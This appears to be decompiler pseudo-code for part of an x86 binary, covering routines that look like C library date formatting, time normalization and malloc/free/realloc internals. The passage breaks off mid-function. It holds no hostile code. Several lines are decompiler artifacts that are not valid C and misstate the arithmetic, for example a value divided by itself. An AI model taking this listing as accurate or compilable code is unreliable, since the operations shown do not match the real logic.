/*	Procedure: 0x0805B4E0 - 0x0805B52D
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L0805B4E0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    (save) *(A8 + 20) + 1900;
    (save) *A8;
    (save) *(A8 + 4);
    (save) *(A8 + 8);
    (save) *(A8 + 12);
    (save) *(A8 + 16) + *(A8 + 16) * 2 + "JanFebMarAprMayJunJulAugSepOctNovDec%.3s %.3s%3d %02.2d:%02.2d:%02.2d %d\n";
    sprintf(Ac, "%.3s %.3s%3d %02.2d:%02.2d:%02.2d %d\n", *(A8 + 24) + *(A8 + 24) * 2 + "SunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDec%.3s %.3s%3d %02.2d:%02.2d:%02.2d %d\n");
    return(Ac);
}

/*	Procedure: 0x0805B52E - 0x0805B52F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B52E()
{



}

/*	Procedure: 0x0805B530 - 0x0805B544
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B530(A8)
/* unknown */ void  A8;
{



    (save)0x807b0c4;
    return(L0805B4E0(A8));
}

/*	Procedure: 0x0805B545 - 0x0805B547
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B545()
{



}

/*	Procedure: 0x0805B548 - 0x0805B55D
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B548(A8)
/* unknown */ void  A8;
{



    return(L0805B530(L0805B10C(A8)));
}

/*	Procedure: 0x0805B55E - 0x0805B583
 *	Argument size: -36
 *	Local size: 44
 *	Save regs size: 0
 */

L0805B55E(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vffffffd4;



    (save)Ac;
    (save) & Vffffffd4;
    return(L0805B4E0(L0805B128(A8)));
}

/*	Procedure: 0x0805B584 - 0x0805B5DC
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

L0805B584(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    eax = A10;
    if(*Ac >= eax) {
        eax = *Ac;
        asm("cdq");
        A10 = A10 / A10;
        edx = A10 % A10;
        *A8 = *A8 + eax;
        eax = *Ac;
        asm("cdq");
        A10 = A10 / A10;
        *Ac = A10 % A10;
    } else {
        if(*Ac < 0) {
            eax = *Ac + 1;
            eax = A10 - eax;
            asm("cdq");
            A10 = A10 / A10;
            edx = A10 % A10;
            ebx = eax;
            eax = A10;
            *Ac = *Ac + eax;
            *A8 = *A8 - ebx * eax;
        }
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0805B5DD - 0x0805B5DF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B5DD()
{



}

/*	Procedure: 0x0805B5E0 - 0x0805B618
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B5E0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(!(eax = *(A8 + 20) - *(Ac + 20)) && !(eax = *(A8 + 16) - *(Ac + 16)) && !(eax = *(A8 + 12) - *(Ac + 12)) && !(eax = *(A8 + 8) - *(Ac + 8)) && !(eax = *(A8 + 4) - *(Ac + 4))) {
        eax = *A8 - *Ac;
    }
}

/*	Procedure: 0x0805B619 - 0x0805B61B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B619()
{



}

/*	Procedure: 0x0805B61C - 0x0805B910
 *	Argument size: 16
 *	Local size: 112
 *	Save regs size: 12
 */

L0805B61C(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffff90;
	/* unknown */ void  Vffffff94;
	/* unknown */ void  Vffffff98;
	/* unknown */ void  Vffffff9c;
	/* unknown */ void  Vffffffa0;
	/* unknown */ void  Vffffffa4;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vfffffff4;



    *A14 = 0;
    edi = & Vffffffd4;
    esi = A8;
    asm("cld");
    ecx = 11;
    asm("rep movsd");
    if(Vffffffd4 > 61) {
        L0805B584( & Vffffffd8, & Vffffffd4, 60);
    }
    ebx = & Vffffffdc;
    L0805B584(ebx, & Vffffffd8, 60);
    L0805B584( & Vffffffe0, ebx, 24);
    L0805B584( & Vffffffe8, & Vffffffe4, 12);
    do {
        Vffffffe8 = Vffffffe8 - 1;
        ebx = 0;
        eax = Vffffffe8;
        if(Vffffffe4 > 1) {
            eax = eax + 1901;
        }
        if(!(al & 3)) {
            eax = Vffffffe8;
            eax = Vffffffe4 <= 1 ? eax + 1900 : eax + 1901;
            ecx = 100;
            asm("cdq");
            if(ecx / ecx % ecx / ecx != 0) {
                goto L0805b6e5;
            }
        }
        eax = Vffffffe8;
        eax = Vffffffe4 <= 1 ? eax + 1900 : eax + 1901;
        ecx = 400;
        asm("cdq");
        if(ecx / ecx % ecx / ecx == 0) {
L0805b6e5:
            ebx = 1;
        }
        eax = Vffffffe0 + *(ebx * 4 + 0x8068f28);
        Vffffffe0 = eax;
    } while(Vffffffe0 <= 0);
    while(1) {
        ebx = 0;
        eax = Vffffffe8 + 1900;
        if(!(al & 3)) {
            ecx = 100;
            asm("cdq");
            if(ecx / ecx % ecx / ecx != 0) {
                goto L0805b72a;
            }
        }
        eax = Vffffffe8 + 1900;
        ecx = 400;
        asm("cdq");
        if(ecx / ecx % ecx / ecx == 0) {
L0805b72a:
            ebx = 1;
        }
        eax = ebx + ebx + ebx << 4;
        eax = *(eax + Vffffffe4 * 4 + 0x8068ec8);
        Vffffff9c = eax;
        if(Vffffffe0 <= eax) {
            break;
        }
        Vffffffe0 = Vffffffe0 - eax;
        Vffffffe4 = Vffffffe4 + 1;
        if(Vffffffe4 <= 11) {
            continue;
        }
        Vffffffe4 = 0;
        Vffffffe8 = Vffffffe8 + 1;
    }
    Vffffff98 = Vffffffd4;
    Vffffffd4 = 0;
    ebx = 0;
    Vffffffa4 = 1;
    do {
        ebx = ebx + 1;
        ecx = Vffffffa4;
        eax = ecx + ecx;
        Vffffffa4 = eax;
    } while(eax > 0);
    edx = 0;
    if(eax >= 0) {
        edx = 1 << ebx;
    }
    Vffffffa4 = edx;
    for(Vffffff94 = & Vffffffa8; 1; Vffffffa4 = Vffffffa4 - 1) {
        (save)Vffffff94;
        (save)A10;
        (save) & Vffffffa4;
        *Ac();
        edx = L0805B5E0(Vffffff94, & Vffffffd4);
        if(edx == 0) {
            goto L0805b80c;
        }
        eax = ebx;
        ebx = ebx - 1;
        if(eax < 0) {
            goto L0805b8dc;
        }
        if(ebx >= 0) {
L0805b7e8:
            if(edx <= 0) {
                Vffffffa4 = Vffffffa4 + (1 << ebx);
                continue;
            }
            Vffffffa4 = Vffffffa4 - (1 << ebx);
            continue;
        }
    }
    goto L0805b7e8;
L0805b80c:
    if(Vfffffff4 >= 0 && Vfffffff4 != Vffffffc8) {
        ebx = 0x807c9f0;
        if(Ac == 0x805b048) {
            ebx = 0x807b0e0;
        }
        Vffffff9c = 0;
        if(*(ebx + 8) > Vffffff9c) {
            Vffffff90 = 0;
            do {
                if(Vfffffff4 == *(Vffffff90 + ebx + 1872)) {
                    edi = 0;
                    if(*(ebx + 8) > 0) {
                        esi = 0;
                        do {
                            if(Vfffffff4 != *(esi + ebx + 1872)) {
                                eax = Vffffffa4 + *(esi + ebx + 1868);
                                Vffffffa0 = eax - *(Vffffff90 + ebx + 1868);
                                (save)Vffffff94;
                                (save)A10;
                                (save) & Vffffffa0;
                                *Ac();
                                if(L0805B5E0(Vffffff94, & Vffffffd4) == 0 && Vfffffff4 == Vffffffc8) {
                                    goto L0805b8bb;
                                }
                            }
                            esi = esi + 16;
                            edi = edi + 1;
                        } while(*(ebx + 8) > edi);
                    }
                }
                Vffffff90 = Vffffff90 + 16;
                Vffffff9c = Vffffff9c + 1;
            } while(*(ebx + 8) > Vffffff9c);
            goto L0805b8dc;
L0805b8bb:
            Vffffffa4 = Vffffffa0;
        } else {
L0805b8dc:
            eax = -1;
            goto L0805b907;
        }
    }
    Vffffffa4 = Vffffffa4 + Vffffff98;
    *Ac( & Vffffffa4, A10, A8);
    *A14 = 1;
    eax = Vffffffa4;
L0805b907:
    esp = ebp - 124;
}

/*	Procedure: 0x0805B911 - 0x0805B913
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B911()
{



}

/*	Procedure: 0x0805B914 - 0x0805BA4E
 *	Argument size: 12
 *	Local size: 20
 *	Save regs size: 12
 */

L0805B914(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    if(*(A8 + 32) > 1) {
        *(A8 + 32) = 1;
    }
    eax = L0805B61C(A8, Ac, A10, & Vfffffffc);
    if(Vfffffffc == 0 && *(A8 + 32) >= 0) {
        ebx = 0x807c9f0;
        if(Ac == 0x805b048) {
            ebx = 0x807b0e0;
        }
        Vfffffff8 = 0;
        if(*(ebx + 8) > Vfffffff8) {
            Vffffffec = 0;
            do {
                if(*(A8 + 32) == *(Vffffffec + ebx + 1872)) {
                    Vfffffff4 = 0;
                    if(*(ebx + 8) > Vfffffff4) {
                        Vfffffff0 = Vffffffec;
                        esi = 0;
                        do {
                            if(*(A8 + 32) != *(esi + ebx + 1872)) {
                                eax = *(esi + ebx + 1868);
                                eax = eax - *(Vfffffff0 + ebx + 1868);
                                *A8 = *A8 + eax;
                                *(A8 + 32) = 0;
                                eax = L0805B61C(A8, Ac, A10, & Vfffffffc);
                                if(Vfffffffc != 0) {
                                    goto L0805ba45;
                                }
                                eax = *(esi + ebx + 1868);
                                eax = eax - *(Vfffffff0 + ebx + 1868);
                                *A8 = *A8 - eax;
                                *(A8 + 32) = 0;
                            }
                            esi = esi + 16;
                            Vfffffff4 = Vfffffff4 + 1;
                        } while(*(ebx + 8) > Vfffffff4);
                    }
                }
                Vffffffec = Vffffffec + 16;
                Vfffffff8 = Vfffffff8 + 1;
            } while(*(ebx + 8) > Vfffffff8);
        }
        eax = -1;
    }
L0805ba45:
    esp = ebp - 32;
}

/*	Procedure: 0x0805BA4F - 0x0805BA66
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805BA4F(A8)
/* unknown */ void  A8;
{



    return(L0805B914(A8, 0x805b048, 0));
}

/*	Procedure: 0x0805BA67 - 0x0805BA85
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805BA67(A8)
/* unknown */ void  A8;
{



    *(A8 + 32) = 0;
    return(L0805B914(A8, 0x805b144, 0));
}

/*	Procedure: 0x0805BA86 - 0x0805BA87
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805BA86()
{



}

/*	Procedure: 0x0805BA88 - 0x0805BB30
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L0805BA88(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    ebx = A8;
    esi = 4;
    edx = 4095;
    if(*L08078F44 > *L08078F80) {
        ebx = ebx + 4 + 4095;
        ebx = ebx & !L00000FFF;
        eax = L08065CEC(0, ebx, 3, 34, -1, 0);
        if(eax != -1) {
            goto L0805bacc;
        }
    }
    eax = 0;
    goto L0805bb28;
L0805bacc:
    *L08078F80 = *L08078F80 + 1;
    edx = *L08078F80;
    if(*L08078F84 < edx) {
        *L08078F84 = edx;
    }
    edx = esi + eax;
    *(edx - 4) = esi;
    *edx = ebx - esi | 2;
    eax = ebx + *L08078F88;
    *L08078F88 = eax;
    if(*L08078F8C < eax) {
        *L08078F8C = eax;
    }
    eax = *L08078F88 + *L08078F58;
    if(*L08078F54 < eax) {
        *L08078F54 = eax;
    }
    eax = edx;
L0805bb28:
}

/*	Procedure: 0x0805BB31 - 0x0805BB33
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805BB31()
{



}

/*	Procedure: 0x0805BB34 - 0x0805BB60
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0805BB34(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    edx = *(A8 - 4);
    ebx = ( *A8 & 252) + edx;
    *L08078F80 = *L08078F80 - 1;
    *L08078F88 = *L08078F88 - ebx;
    return(L08066154(A8 - edx, ebx));
}

/*	Procedure: 0x0805BB61 - 0x0805BB63
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805BB61()
{



}

/*	Procedure: 0x0805BB64 - 0x0805BBF1
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L0805BB64(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edx = A8;
    esi = *(edx - 4);
    edi = *edx & -4;
    ebx = Ac + esi + 4095 & -4096;
    eax = L080661B0(edx - esi, esi + edi, ebx, 1);
    if(eax == -1) {
        eax = 0;
    } else {
        edx = esi + eax;
        *edx = ebx - esi | 2;
        *L08078F88 = *L08078F88 - esi + edi;
        eax = ebx + *L08078F88;
        *L08078F88 = eax;
        if(*L08078F8C < eax) {
            *L08078F8C = eax;
        }
        eax = *L08078F88 + *L08078F58;
        if(*L08078F54 < eax) {
            *L08078F54 = eax;
        }
        eax = edx;
    }
}

/*	Procedure: 0x0805BBF2 - 0x0805BBF3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805BBF2()
{



}

/*	Procedure: 0x0805BBF4 - 0x0805BD72
 *	Argument size: 4
 *	Local size: 12
 *	Save regs size: 12
 */

L0805BBF4(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    edx = *L08078B38;
    Vfffffffc = edx;
    cl = *edx & 252;
    Vfffffff8 = ecx;
    ebx = edx + Vfffffff8;
    esi = A8 + *L08078F40 + 16;
    if(*L08078F4C != -1) {
        esi = esi + 4095 & -4096;
    }
    eax = *( *L08078B30)(esi);
    edi = eax;
    if(edi != 0) {
        if(edi >= ebx) {
            goto L0805bc59;
        }
        if(Vfffffffc == 0x8078b34) {
L0805bc59:
            *L08078F58 = *L08078F58 + esi;
            if(edi == ebx) {
                esi = esi + Vfffffff8;
                *( *L08078B38) = esi | 1;
                goto L0805bd3f;
            }
            if(*L08078F4C == -1) {
                *L08078F4C = edi;
            } else {
                *L08078F58 = *L08078F58 + edi - ebx;
            }
            if(!(eax = edi + 4 & 7)) {
                ebx = 8 - eax;
                edi = edi + ebx;
            } else {
                ebx = 0;
            }
            eax = esi + edi;
            eax = eax & 4095;
            ebx = ebx + 4096 - eax;
            eax = *( *L08078B30)(ebx);
            if(eax != 0) {
                *L08078F58 = *L08078F58 + ebx;
                *L08078B38 = edi;
                *edi = eax - edi + ebx | 1;
                if(Vfffffffc != 0x8078b34) {
                    edx = Vfffffff8;
                    ecx = Vfffffffc;
                    *(ecx + edx - 8) = 5;
                    *(ecx + edx - 4) = 5;
                    edx = edx + -8 & 7;
                    Vfffffff8 = edx;
                    *(edx + ecx) = 5;
                    *(ecx + edx + 4) = 5;
                    *ecx = *ecx & 1 | edx;
                    if(edx > 15) {
                        L0805C290(Vfffffffc + 4);
                    }
                }
L0805bd3f:
                eax = *L08078F58;
                if(*L08078F50 < eax) {
                    *L08078F50 = eax;
                }
                eax = *L08078F88 + *L08078F58;
                if(*L08078F54 < eax) {
                    *L08078F54 = eax;
                }
            }
        }
    }
    esp = ebp - 24;
}

/*	Procedure: 0x0805BD73 - 0x0805BD73
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805BD73()
{



}

/*	Procedure: 0x0805BD74 - 0x0805C28D
 *	Argument size: 4
 *	Local size: 20
 *	Save regs size: 12
 */

L0805BD74(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    eax = A8;
    if(eax > 11) {
        Vfffffff4 = eax + 11;
        Vfffffff4 = Vfffffff4 & -8;
    } else {
        Vfffffff4 = 16;
    }
    if(Vfffffff4 <= 503) {
        ecx = Vfffffff4 >> 3;
        Vfffffffc = ecx;
        ebx = *(ecx * 8 + 0x8078b3c);
        if(ebx == ecx * 8 + 0x8078b34) {
            ebx = *(ecx * 8 + 0x8078b44);
            if(ebx == ecx * 8 + 0x8078b3c) {
                goto L0805bee5;
            }
        }
        edi = *ebx & -4;
        Vffffffec = edi;
        esi = *(ebx + 8);
        ecx = *(ebx + 4);
        Vfffffff0 = ecx;
        *(ecx + 8) = esi;
        *(esi + 4) = ecx;
        *(Vffffffec + ebx) = *(Vffffffec + ebx) | 1;
    } else {
        eax = Vfffffff4 >> 9;
        if(!(Vfffffffc = Vfffffffc + 2)) {
            Vfffffffc = Vfffffff4 >> 3;
        } else {
            if(Vfffffff4 >> 9 <= 4) {
                Vfffffffc = (Vfffffff4 >> 6) + 56;
            } else {
                eax = Vfffffff4 >> 9;
                if(eax <= 20) {
                    Vfffffffc = eax + 91;
                } else {
                    if(Vfffffff4 >> 9 <= 84) {
                        Vfffffffc = (Vfffffff4 >> 12) + 110;
                    } else {
                        if(Vfffffff4 >> 9 <= 340) {
                            Vfffffffc = (Vfffffff4 >> 15) + 119;
                        } else {
                            if(Vfffffff4 >> 9 <= 1364) {
                                Vfffffffc = (Vfffffff4 >> 18) + 124;
                                goto L0805beab;
L0805be9c:
                                Vfffffffc = Vfffffffc - 1;
                                goto L0805bee2;
                            }
                            Vfffffffc = 126;
                        }
                    }
                }
            }
        }
L0805beab:
        ecx = Vfffffffc * 8 + 0x8078b34;
        Vfffffff8 = ecx;
        ebx = *(ecx + 8);
        if(ebx != ecx) {
            do {
                edi = *ebx & -4;
                Vffffffec = edi;
                edx = Vffffffec - Vfffffff4;
                if(edx > 15) {
                    goto L0805be9c;
                }
                if(edx >= 0) {
                    goto L0805c1f0;
                }
                ebx = *(ebx + 8);
            } while(Vfffffff8 != ebx);
        }
L0805bee2:
        Vfffffffc = Vfffffffc + 1;
L0805bee5:
        ebx = *L08078B40;
        if(ebx != 0x8078b3c) {
            cl = *ebx & 252;
            Vffffffec = ecx;
            edx = Vffffffec - Vfffffff4;
            if(edx > 15) {
                eax = Vfffffff4 + ebx;
                *ebx = Vfffffff4 | 1;
                *L08078B44 = eax;
                *L08078B40 = eax;
                *(eax + 8) = 0x8078b3c;
                *(eax + 4) = 0x8078b3c;
                *eax = edx | 1;
                *(edx + eax - 4) = edx;
                goto L0805c281;
            }
            *L08078B44 = 0x8078b3c;
            *L08078B40 = 0x8078b3c;
            if(edx >= 0) {
                *(Vffffffec + ebx) = *(Vffffffec + ebx) | 1;
                goto L0805c281;
            }
            if(Vffffffec <= 511) {
                edx = Vffffffec >> 3;
                eax = edx;
                >= ? 0x805bf7a : ;
                eax = edx + 3;
                eax = eax >> 2;
                ecx = eax;
                *L08078B34 = *L08078B34 | 1 << cl;
                ecx = *(esi + 4);
                Vfffffff0 = ecx;
                *(ebx + 8) = esi;
                *(ebx + 4) = ecx;
                *(esi + 4) = ebx;
                *( *(ebx + 4) + 8) = ebx;
            } else {
                eax = Vffffffec >> 9;
                if(!(esi = edx * 8 + 0x8078b34)) {
                    edx = Vffffffec >> 3;
                } else {
                    if(Vffffffec >> 9 <= 4) {
                        edx = (Vffffffec >> 6) + 56;
                    } else {
                        eax = Vffffffec >> 9;
                        edx = eax <= 20 ? eax + 91 : Vffffffec >> 9 <= 84 ? (Vffffffec >> 12) + 110 : Vffffffec >> 9 <= 340 ? (Vffffffec >> 15) + 119 : Vffffffec >> 9 <= 1364 ? (Vffffffec >> 18) + 124 : 126;
                    }
                }
                esi = edx * 8 + 0x8078b34;
                edi = *(esi + 4);
                Vfffffff0 = edi;
                if(Vfffffff0 == esi) {
                    eax = edx >> 2;
                    ecx = eax;
                    *L08078B34 = *L08078B34 | 1 << cl;
                } else {
                    do {
                        ecx = Vfffffff0;
                        if(Vffffffec >= ( *ecx & 252)) {
                            break;
                        }
                        edi = *(ecx + 4);
                        Vfffffff0 = edi;
                    } while(Vfffffff0 != esi);
                    esi = *(Vfffffff0 + 8);
                }
                *(ebx + 8) = esi;
                edi = Vfffffff0;
                *(ebx + 4) = edi;
                *(esi + 4) = ebx;
                *( *(ebx + 4) + 8) = ebx;
            }
        }
        eax = Vfffffffc;
        if(eax < 0) {
            eax = eax + 3;
        }
        eax = eax >> 2;
        ecx = eax;
        edi = 1 << cl;
        Vfffffff0 = edi;
        if(*L08078B34 >= edi) {
            if(!( *L08078B34 & edi)) {
                Vfffffffc = Vfffffffc & -4;
                Vfffffffc = Vfffffffc + 4;
                edi = edi + edi;
                Vfffffff0 = edi;
                if(!( *L08078B34 & Vfffffff0)) {
                    do {
                        Vfffffffc = Vfffffffc + 4;
                        Vfffffff0 = Vfffffff0 << 1;
                    } while(*L08078B34 & Vfffffff0);
                }
            }
            while(1) {
                eax = Vfffffffc * 8;
                do {
                    edi = eax + 0x8078b34;
                    Vfffffff8 = edi;
                    ebx = *(eax + 0x8078b3c);
                    if(ebx != Vfffffff8) {
                        do {
                            cl = *ebx & 252;
                            Vffffffec = ecx;
                            edx = Vffffffec - Vfffffff4;
                            if(edx > 15) {
                                goto L0805c208;
                            }
                            if(edx >= 0) {
                                goto L0805c24c;
                            }
                            ebx = *(ebx + 8);
                        } while(Vfffffff8 != ebx);
                    }
                    eax = eax + 8;
                    Vfffffffc = Vfffffffc + 1;
                } while(Vfffffffc & 3);
                do {
                    if(!(esi & 3)) {
                        goto L0805c158;
                    }
L0805c13c:
                    esi = esi - 1;
                    eax = esi * 8 + 0x8078b34;
                } while(*(esi * 8 + 0x8078b38) == eax);
                goto L0805c160;
L0805c158:
                eax = !Vfffffff0;
                *L08078B34 = *L08078B34 & eax;
L0805c160:
                Vfffffff0 = Vfffffff0 << 1;
                ecx = Vfffffff0;
                if(*L08078B34 < ecx || ecx == 0) {
                    goto L0805c198;
                }
                if(*L08078B34 & ecx) {
                    continue;
                }
                do {
                    Vfffffffc = Vfffffffc + 4;
                    Vfffffff0 = Vfffffff0 << 1;
                } while(*L08078B34 & Vfffffff0);
            }
            goto L0805c13c;
        }
L0805c198:
        edx = ( *( *L08078B38) & 252) - Vfffffff4;
        if(edx <= 15) {
            ecx = Vfffffff4;
            if(*L08078F48 > ecx) {
                goto L0805c1cc;
            }
            ebx = L0805BA88(ecx);
            if(ebx == 0) {
L0805c1cc:
                edi = Vfffffff4;
                L0805BBF4(edi);
                edx = ( *( *L08078B38) & 252) - edi;
                if(edx > 15) {
                    goto L0805c264;
                }
                eax = 0;
                goto L0805c284;
L0805c1f0:
                esi = *(ebx + 8);
                ecx = *(ebx + 4);
                Vfffffff0 = ecx;
                *(ecx + 8) = esi;
                *(esi + 4) = ecx;
                *(Vffffffec + ebx) = *(Vffffffec + ebx) | 1;
                goto L0805c281;
L0805c208:
                eax = Vfffffff4 + ebx;
                *ebx = Vfffffff4 | 1;
                esi = *(ebx + 8);
                edi = *(ebx + 4);
                Vfffffff0 = edi;
                *(edi + 8) = esi;
                *(esi + 4) = edi;
                *L08078B44 = eax;
                *L08078B40 = eax;
                *(eax + 8) = 0x8078b3c;
                *(eax + 4) = 0x8078b3c;
                *eax = edx | 1;
                *(edx + eax - 4) = edx;
                goto L0805c281;
L0805c24c:
                *(Vffffffec + ebx) = *(Vffffffec + ebx) | 1;
                esi = *(ebx + 8);
                ecx = *(ebx + 4);
                Vfffffff0 = ecx;
                *(ecx + 8) = esi;
                *(esi + 4) = ecx;
            }
        } else {
L0805c264:
            ebx = *L08078B38;
            *ebx = Vfffffff4 | 1;
            eax = Vfffffff4 + ebx;
            *L08078B38 = eax;
            *( *L08078B38) = dl | 1;
        }
    }
L0805c281:
    eax = ebx + 4;
L0805c284:
    esp = ebp - 32;
}

/*	Procedure: 0x0805C28E - 0x0805C28F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805C28E()
{



}

/*	Procedure: 0x0805C290 - 0x0805C4F6
 *	Argument size: 4
 *	Local size: 16
 *	Save regs size: 12
 */

L0805C290(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    eax = A8;
    if(eax != 0) {
        edi = eax - 4;
        eax = *(eax - 4);
        if(!(al & 2)) {
            (save)edi;
            eax = L0805BB34();
        } else {
            esi = eax & -2;
            ecx = esi + edi;
            Vfffffff4 = ecx;
            bl = *ecx & 252;
            Vfffffffc = ebx;
            if(*L08078B38 != ecx) {
                goto L0805c31c;
            }
            esi = esi + ebx;
            if(!(al & 1)) {
                eax = *(edi - 4);
                edi = edi - eax;
                esi = esi + eax;
                ecx = *(edi + 8);
                Vfffffff0 = ecx;
                edx = *(edi + 4);
                *(edx + 8) = ecx;
                *( *(edx + 8) + 4) = edx;
            }
            *edi = esi | 1;
            *L08078B38 = edi;
            if(*L08078F3C <= esi) {
                eax = L0805C944( *L08078F40);
                goto L0805c4ed;
L0805c31c:
                *Vfffffff4 = Vfffffffc;
                Vfffffff8 = 0;
                if(!(al & 1)) {
                    eax = *(edi - 4);
                    edi = edi - eax;
                    esi = esi + eax;
                    if(*(edi + 4) == 0x8078b3c) {
                        Vfffffff8 = 1;
                    } else {
                        ecx = *(edi + 8);
                        Vfffffff0 = ecx;
                        edx = *(edi + 4);
                        *(edx + 8) = ecx;
                        *( *(edx + 8) + 4) = edx;
                    }
                }
                ebx = Vfffffff4;
                ecx = Vfffffffc;
                if(!( *(ecx + ebx) & 1)) {
                    esi = esi + ecx;
                    if(Vfffffff8 == 0 && *(ebx + 4) == 0x8078b3c) {
                        Vfffffff8 = 1;
                        *L08078B44 = edi;
                        *L08078B40 = edi;
                        *(edi + 8) = 0x8078b3c;
                        *(edi + 4) = 0x8078b3c;
                    } else {
                        ebx = *(Vfffffff4 + 8);
                        Vfffffff0 = ebx;
                        edx = *(Vfffffff4 + 4);
                        *(edx + 8) = ebx;
                        *( *(edx + 8) + 4) = edx;
                    }
                }
                *edi = esi | 1;
                *(esi + edi - 4) = esi;
                if(Vfffffff8 == 0) {
                    if(esi <= 511) {
                        Vfffffff4 = esi >> 3;
                        eax = Vfffffff4;
                        if(eax < 0) {
                            eax = eax + 3;
                        }
                        eax = eax >> 2;
                        eax = 1 << eax;
                        *L08078B34 = *L08078B34 | eax;
                        Vfffffff0 = ecx;
                        edx = *(ecx + 4);
                    } else {
                        eax = esi >> 9;
                        if(!(ecx = Vfffffff4 * 8 + 0x8078b34)) {
                            Vfffffff4 = esi >> 3;
                        } else {
                            if(esi >> 9 <= 4) {
                                Vfffffff4 = (esi >> 6) + 56;
                            } else {
                                eax = esi >> 9;
                                Vfffffff4 = eax <= 20 ? eax + 91 : esi >> 9 <= 84 ? (esi >> 12) + 110 : esi >> 9 <= 340 ? (esi >> 15) + 119 : esi >> 9 <= 1364 ? (esi >> 18) + 124 : 126;
                            }
                        }
                        ecx = Vfffffff4 * 8 + 0x8078b34;
                        Vfffffff0 = ecx;
                        edx = *(ecx + 4);
                        if(edx == ecx) {
                            eax = 1 << Vfffffff4 >> 2;
                            *L08078B34 = *L08078B34 | eax;
                        } else {
                            do {
                                al = *edx & 252;
                                if(esi >= eax) {
                                    break;
                                }
                                edx = *(edx + 4);
                            } while(Vfffffff0 != edx);
                            Vfffffff0 = *(edx + 8);
                        }
                        ecx = Vfffffff0;
                    }
                    *(edi + 8) = ecx;
                    *(edi + 4) = edx;
                    *(ecx + 4) = edi;
                    *(edx + 8) = edi;
                }
            }
        }
    }
L0805c4ed:
    esp = ebp - 28;
}

/*	Procedure: 0x0805C4F7 - 0x0805C7D9
 *	Argument size: 8
 *	Local size: 20
 *	Save regs size: 12
 */

L0805C4F7(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    if(A8 == 0) {
        eax = L0805BD74(Ac);
    } else {
        esi = A8 + -4;
        Vfffffff8 = esi;
        edi = *(A8 - 4) & -4;
        Vfffffff0 = edi;
        Vfffffff4 = Vfffffff0;
        Vfffffffc = Ac > 11 ? Ac + 11 & 248 : 16;
        edi = Vfffffff8;
        if(!( *edi & 2)) {
            esi = L0805BB64(edi, Vfffffffc);
            if(esi != 0) {
                goto L0805c7cd;
            }
